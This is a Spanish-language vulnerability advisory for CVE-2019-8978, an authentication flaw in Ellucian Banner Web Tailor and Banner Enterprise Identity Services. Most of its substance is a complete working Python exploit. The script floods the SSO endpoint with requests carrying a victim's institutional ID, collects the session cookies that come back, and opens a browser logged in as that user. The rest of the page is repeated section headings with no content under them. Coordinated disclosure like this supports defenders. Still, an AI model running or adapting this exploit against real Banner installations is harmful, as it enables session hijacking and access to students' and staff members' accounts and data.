Agradecimientos: Carnegie Mellon University CERT Coordination Center

Información

Fecha de descubrimiento: 17 de diciembre de 2018
Proveedor: Ellucian Company L.P.
Página del proveedor: https://www.ellucian.com
Productos: Banner Web Tailor y Banner Enterprise Identity Services
Versiones afectadas de Web Tailor: 8.8.3, 8.8.4, 8.9
Versiones afectadas de Banner Enterprise Identity Services: 8.3, 8.3.1, 8.3.2, 8.4
CVE: CVE-2019-8978

Tabla de Contenidos

Resumen Ejecutivo
Producto
Impacto y Recomendaciones

a. Impacto

b. Recomendaciones
Detalles Técnicos

a. Descripción Técnica

b. Código de Explotación
Cronología de Divulgación
Referencias

1. Resumen Ejecutivo

Se identificó una vulnerabilidad de autenticación impropia (CWE-287) en Banner Web Tailor y Banner Enterprise Identity Services. Esta vulnerabilidad se produce cuando se utiliza SSO Manager como mecanismo de autenticación para Web Tailor, lo que podría llevar a la divulgación de información y pérdida de integridad de datos para el/los usuario(s) afectados. El proveedor ha verificado la vulnerabilidad y ha producido un parche que ya está disponible. Para más información, consulte las publicaciones en Ellucian Communities: [ENLACE NO PROPORCIONADO ANTES DE LA FECHA LÍMITE] y Banner Enterprise Identity Services: [ENLACE NO PROPORCIONADO ANTES DE LA FECHA LÍMITE]. ACTUALIZACIÓN: Aquí está el enlace a la sección IAM: Y este es el enlace a la comunicación sobre la vulnerabilidad de Banner Web Tailor y SSO Manager publicada en el espacio Banner General & Banner Technical Community - ]

""" exploit.py This code is designed for Python 3 and requires the packages selenium and requests_threads. It does 50 simultaneous requests per batch and repeats. More or less may be required depending on your connection latency. """ import re, time, sys, select, os from selenium import webdriver from requests_threads import AsyncSession requests_per_batch = 50 target_host = input("Please provide the target url (This is from the Web Tailor page post login): ") target_id = input("Please provide the ID, which in the case tested is the institutional ID: ") cookies = { 'IDMSESSID': target_id, } session = AsyncSession(n=requests_per_batch) async def _main(): final_sessid = "" os.system('cls' if os.name == 'nt' else 'clear') print("To quit press Enter") while True: rs = [] for _ in range(requests_per_batch): rs.append(await session.get(target_host, cookies=cookies)) for response in rs: for c in response.cookies: if (c.name == 'SESSID'): print(c.name, c.value) final_sessid = c.value if sys.stdin in select.select([sys.stdin], [], [], 0)[0]: line = input() break print("Last SESSID:", final_sessid) open_browser = input("Open a browser with this SESSID(y/n): ") if open_browser == "y": """ This feature requires a chromedriver for your operating system version. It can be found at https://sites.google.com/a/chromium.org/chromedriver/ Place it in the working directory of the exploit.py """ browser = webdriver.Chrome(executable_path=os.path.join(os.getcwd(),"chromedriver")) browser.get(target_host) browser.add_cookie({ "domain": target_host.split("/")[2], "name": "SESSID", "value": final_sessid, }) browser.get(target_host) stay_open = input("Press enter to close") session.run(_main)

CVE-2019-8978

Más Populares

2. Producto

3. Impacto y Recomendaciones

A. Impacto

B. Recomendaciones

4. Detalles Técnicos

A. Descripción Técnica

B. Código de Explotación

5. Cronología de Divulgación

6. Referencias